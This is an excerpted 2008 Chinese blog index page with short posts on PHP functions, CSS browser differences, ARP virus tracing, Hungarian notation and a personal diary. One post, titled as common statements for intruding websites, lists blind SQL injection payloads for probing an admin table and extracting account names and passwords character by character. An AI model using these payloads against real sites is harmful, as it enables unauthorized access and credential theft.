获取php.ini设置变量
作者: claymore 发表于: 2008-05-30 18:57:06
ini_get
(PHP 4, PHP 5)
(PHP 4, PHP 5)
ini_get -- Gets the value of a configuration option
说明
string ini_get( string varname )
Returns the value of the configuration option on success.
参数
varname
The configuration option name.
varname
The configuration option name.
返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.
范例
例 1. A few ini_get() examples
例 1. A few ini_get() examples
上例的输出类似于:
display_errors = 1
阅读全文...
标签: 函数用法
分类: Web Developing | PHP
引用: 0
评论: 0
点击: 197
国内资深安全专家详谈网页木马
作者: claymore 发表于: 2008-05-30 12:59:26
诚信网安--子明
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
一 、什么是网页木马
网页木马是利用网页来进行破坏的病毒,它包含在恶意网页之中,使用脚本语言编写恶意代码,依靠系统的漏洞,如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时,网页木马便被激活,受影响的系统一旦感染网页病毒,就会遭到破坏,轻则浏览器首页被修改,标题改变,系统自动弹出广告,重则被装上木马,感染病毒,使用户无法进行正常的使用。甚至会引起系统崩溃,敏感信息丢失等严重后果。由于脚本语言易于掌握,所以网页木马非常容易编写和修改,造成很难提取特征值,增加了杀毒软件查杀以及用户预防的困难。
目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作,如改写注册表,添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。
阅读全文...
IE6/IE7和Firefox对Div处理的差异
作者: claymore 发表于: 2008-05-29 15:38:49
基本HTML代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Div Float Sample</title>
<style type="text/css">
div { margin:3px; }
.d1 { width:250px; min-height:20px; border:1px solid #00cc00; }
.d2 { width:130px; min-height:40px; border:1px solid #0000cc; }
.d3 { width:100px; min-height:40px; border:1px solid #cc0000; }
</style>
</head>
<body>
<div class="d1">
<div class="d2"> </div>
<div class="d3"> </div>
</div>
</body>
</html>
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Div Float Sample</title>
<style type="text/css">
div { margin:3px; }
.d1 { width:250px; min-height:20px; border:1px solid #00cc00; }
.d2 { width:130px; min-height:40px; border:1px solid #0000cc; }
.d3 { width:100px; min-height:40px; border:1px solid #cc0000; }
</style>
</head>
<body>
<div class="d1">
<div class="d2"> </div>
<div class="d3"> </div>
</div>
</body>
</html>
以上代码显示的结果如下,很正常,结果相同。
当然所有这些情况也许是有合理解释的,说不定增加某一个style的设置。

下面会在这个基础上进行修改,修改的内容都在style中,其他代码就不再重复写了。
请注意,这里的Style中用到了min-height,这个和height是不同的,min-height指定了对象的一个最小高度,当对象的子内容高度超过这个最小高度是,这个对象会自动撑大。这是一个非常牛的style,可惜的是,在这个style和float这个同样牛的style一起使用的时候,就会出现各种问题。
阅读全文...
标签: CSS相关
分类: Web Developing | Related
引用: 0
评论: 0
点击: 67
快速找到ARP病毒源
作者: claymore 发表于: 2008-05-25 06:02:10
第一招:使用Sniffer抓包 在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp -a命令 任意选两台不能上网的主机,在DOS命令窗口下运行arp -a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令 在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert 61.135.179.148。 假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。
阅读全文...
病毒破坏硬件有七大损招
作者: claymore 发表于: 2008-05-25 05:58:15
病毒破坏硬件的“手段”,一般有以下几种:
1.破坏显示器
众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏,要立即关掉显示器的电源,重新启动后进入安全模式再找原因。
2.超外频、加电压破坏CPU、显卡、内存等
目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到CMOS中看看以上参数是否有改动。可喜的是,目前很多主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
阅读全文...
入侵网站常用语句
作者: claymore 发表于: 2008-05-25 05:56:18
1.判断有无注入点
; and 1=1 and 1=2
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
阅读全文...
标签: SQL注入
php执行效率优化
作者: claymore 发表于: 2008-05-23 23:26:02
总结下php程序效率优化的一些策略:
1.在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版本问题;(对这于这一点kimi不敢苟同,详细请查阅http://www.ccvita.com/index.php/163.html)
2.尽量的少进行文件操作,虽然PHP的文件操作效率也不低的;
3.优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过);
4.尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函数的时间,经验问题啊!);
5.循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?);
6.多维数组尽量不要循环嵌套赋值;
7.在可以用PHP内部字符串操作函数的情况下,不要用正则表达式;
8.foreach效率更高,尽量用foreach代替while和for循环;
9.用单引号替代双引号引用字符串;
阅读全文...
标签: 代码执行效率
分类: Web Developing | PHP
引用: 0
评论: 0
点击: 76
Readfile vs include
作者: claymore 发表于: 2008-05-23 23:13:26
It is not often that you can write a PHP script that does not need to include the contents of different files as part of it's output. If these includes happen to be php scripts themselves you have no choice but to use require or include. However more often than not, the contents are static, usually html template component. With static includes you have many more options available. aerwear We will analyse some of these functions to find out which one is most suitable when dealing with files with static content. We use the term function loosely, because require and include are not real functions but language constructs.
|
Function |
Brief Description |
|
string file_get_contents ( string filename [, int use_include_path]) |
Reads entire file into a string |
|
int fpassthru ( resource handle) |
Output all remaining data on a file pointer |
|
string fgets ( resource handle [, int length]) |
Gets line from file pointer |
|
array file ( string filename [, int use_include_path]) |
Reads entire file into an array |
|
require(string filename)
include(string filename)
require_once(string filename)
include_once(string filename) |
includes and evaluates the specific file. |
|
int readfile ( string filename [, int use_include_path]) |
Outputs a file |
阅读全文...
标签: 代码执行效率
分类: Web Developing | PHP
引用: 0
评论: 0
点击: 89
匈牙利命名法
作者: claymore 发表于: 2008-05-21 19:58:36
匈牙利命名法是一种编程时的命名规范。基本原则是:变量名=属性+类型+对象描述,其中每一对象的名称都要求有明确含义,可以取对象名字全称或名字的一部分。命名要基于容易记忆容易理解的原则。保证名字的连贯性是非常重要的。举例来说,表单的名称为form,那么在匈牙利命名法中可以简写为frm,则当表单变量名称为Switchboard时,变量全称应该为 frmSwitchboard。这样可以很容易从变量名看出Switchboard是一个表单,同样,如果此变量类型为标签,那么就应命名成 lblSwitchboard。可以看出,匈牙利命名法非常便于记忆,而且使变量名非常清晰易懂,这样,增强了代码的可读性,方便各程序员之间相互交流代码。
据说这种命名法是一位叫 Charles Simonyi 的匈牙利程序员发明的,后来他在微软呆了几年,于是这种命名法就通过微软的各种产品和文档资料向世界传播开了。现在,大部分程序员不管自己使用什么软件进行开发,或多或少都使用了这种命名法。这种命名法的出发点是把量名变按:属性+类型+对象描述的顺序组合起来,以使程序员作变量时对变量的类型和其它属性有直观的了解,下面是HN变量命名规范,其中也有一些是我个人的偏向:
匈牙利命名法MFC、句柄、控件及结构的命名规范
|
Windows类型 |
样本变量 |
MFC类 |
样本变量 |
|
HWND |
hWnd; |
CWnd* |
pWnd; |
|
HDLG |
hDlg; |
CDialog* |
pDlg; |
|
HDC |
hDC; |
CDC* |
pDC; |
|
HGDIOBJ |
hGdiObj; |
CGdiObject* |
pGdiObj; |
|
HPEN |
hPen; |
CPen* |
pPen; |
|
HBRUSH |
hBrush; |
CBrush* |
pBrush; |
|
HFONT |
hFont; |
CFont* |
pFont; |
|
HBITMAP |
hBitmap; |
CBitmap* |
pBitmap; |
|
HPALETTE |
hPaltte; |
CPalette* |
pPalette; |
|
HRGN |
hRgn; |
CRgn* |
pRgn; |
|
HMENU |
hMenu; |
CMenu* |
pMenu; |
|
HWND |
hCtl; |
CState* |
pState; |
|
HWND |
hCtl; |
CButton* |
pButton; |
|
HWND |
hCtl; |
CEdit* |
pEdit; |
|
HWND |
hCtl; |
CListBox* |
pListBox; |
|
HWND |
hCtl; |
CComboBox* |
pComboBox; |
|
HWND |
hCtl; |
CScrollBar* |
pScrollBar; |
|
HSZ |
hszStr; |
CString |
pStr; |
|
POINT |
pt; |
CPoint |
pt; |
|
SIZE |
size; |
CSize |
size; |
|
RECT |
rect; |
CRect |
rect; |
一般前缀命名规范
|
前缀 |
类型 |
实例 |
|
C |
类或结构 |
CDocument,CPrintInfo |
|
m_ |
成员变量 |
m_pDoc,m_nCustomers |
变量命名规范
|
前缀 |
类型 |
描述 |
实例 |
|
ch |
char |
8位字符 |
chGrade |
|
ch |
TCHAR |
如果_UNICODE定义,则为16位字符 |
chName |
|
b |
BOOL |
布尔值 |
bEnable |
|
n |
int |
整型(其大小依赖于操作系统) |
nLength |
|
n |
UINT |
无符号值(其大小依赖于操作系统) |
nHeight |
|
w |
WORD |
16位无符号值 |
wPos |
|
l |
LONG |
32位有符号整型 |
lOffset |
|
dw |
DWORD |
32位无符号整型 |
dwRange |
|
p |
* |
指针 |
pDoc |
|
lp |
FAR* |
远指针 |
lpszName |
|
lpsz |
LPSTR |
32位字符串指针 |
lpszName |
|
lpsz |
LPCSTR |
32位常量字符串指针 |
lpszName |
|
lpsz |
LPCTSTR |
如果_UNICODE定义,则为32位常量字符串指针 |
lpszName |
|
h |
handle |
Windows对象句柄 |
hWnd |
|
lpfn |
callback |
指向CALLBACK函数的远指针 |
? |
应用程序符号命名规范
|
前缀 |
符号类型 |
实例 |
范围 |
|
IDR_ |
不同类型的多个资源共享标识 |
IDR_MAIINFRAME |
1~0x6FFF |
|
IDD_ |
对话框资源 |
IDD_SPELL_CHECK |
1~0x6FFF |
|
HIDD_ |
对话框资源的Help上下文 |
HIDD_SPELL_CHECK |
0x20001~0x26FF |
|
IDB_ |
位图资源 |
IDB_COMPANY_LOGO |
1~0x6FFF |
|
IDC_ |
光标资源 |
IDC_PENCIL |
1~0x6FFF |
|
IDI_ |
图标资源 |
IDI_NOTEPAD |
1~0x6FFF |
|
ID_ |
来自菜单项或工具栏的命令 |
ID_TOOLS_SPELLING |
0x8000~0xDFFF |
|
HID_ |
命令Help上下文 |
HID_TOOLS_SPELLING |
0x18000~0x1DFFF |
|
IDP_ |
消息框提示 |
IDP_INVALID_PARTNO |
8~0xDEEF |
|
HIDP_ |
消息框Help上下文 |
HIDP_INVALID_PARTNO |
0x30008~0x3DEFF |
|
IDS_ |
串资源 |
IDS_COPYRIGHT |
1~0x7EEF |
|
IDC_ |
对话框内的控件 |
IDC_RECALC |
8~0xDEEF |
Microsoft MFC宏命名规范
|
名称 |
类型 |
|
_AFXDLL |
唯一的动态连接库(Dynamic Link Library,DLL)版本 |
|
_ALPHA |
仅编译DEC Alpha处理器 |
|
_DEBUG |
包括诊断的调试版本 |
|
_MBCS |
编译多字节字符集 |
|
_UNICODE |
在一个应用程序中打开Unicode |
|
AFXAPI |
MFC提供的函数 |
|
CALLBACK |
通过指针回调的函数 |
库标识符命名法
|
标识符 |
值和含义 |
|
u |
ANSI(N)或Unicode(U) |
|
d |
调试或发行:D = 调试;忽略标识符为发行。 |
静态库版本命名规范
|
库 |
描述 |
|
NAFXCWD.LIB |
调试版本:MFC静态连接库 |
|
NAFXCW.LIB |
发行版本:MFC静态连接库 |
|
UAFXCWD.LIB |
调试版本:具有Unicode支持的MFC静态连接库 |
|
UAFXCW.LIB |
发行版本:具有Unicode支持的MFC静态连接库 |
动态连接库命名规范
|
名称 |
类型 |
|
_AFXDLL |
唯一的动态连接库(DLL)版本 |
|
WINAPI |
Windows所提供的函数 |
Windows.h中新的命名规范
|
类型 |
定义描述 |
|
WINAPI |
使用在API声明中的FAR PASCAL位置,如果正在编写一个具有导出API人口点的DLL,则可以在自己的API中使用该类型 |
|
CALLBACK |
使用在应用程序回叫例程,如窗口和对话框过程中的FAR PASCAL的位置 |
|
LPCSTR |
与LPSTR相同,只是LPCSTR用于只读串指针,其定义类似(const char FAR*) |
|
UINT |
可移植的无符号整型类型,其大小由主机环境决定(对于Windows NT和Windows 9x为32位);它是unsigned int的同义词 |
|
LRESULT |
窗口程序返回值的类型 |
|
LPARAM |
声明lParam所使用的类型,lParam是窗口程序的第四个参数 |
|
WPARAM |
声明wParam所使用的类型,wParam是窗口程序的第三个参数 |
|
LPVOID |
一般指针类型,与(void *)相同,可以用来代替LPSTR |
阅读全文...
分类: Programming | C/C++
引用: 0
评论: 0
点击: 108
2008.5.15 晴 星期四(地震?)
作者: claymore 发表于: 2008-05-15 14:29:01
好久没有写日记了,已经很久了。
这几天特别闲起来,旁边的地方闹地震,成都这边也警戒了起来。生命有时太脆弱了,也觉得这边的震动没什么,可是成都也死了1000多人,我真的搞不懂。
感觉很烦。
听说绵阳的情况也挺严重的。
学校这两天平静了下来,估计不会有什么事了,不过不知道教学楼还能不能进去,图书馆是进不去了。
想看看书,把VC++先放下,要考6级了,明年还要考软件设计师,我大学的理想就是在毕业之前能考上工程师,以前是叫工程师的,不过前年好象换成设计师了,哎这名字真不怎么样。
我要努力啊。
等这学期试考完了再写作品吧,多写几个作品以后好找工作。
这两天出太阳了,感觉没那么开心,地震过后,我好象有什么心事,好烦了。
我订的书什么时候才能到呢哎。
阅读全文...
分类: Feeling Of Life | Diaries
引用: 0
评论: 0
点击: 84








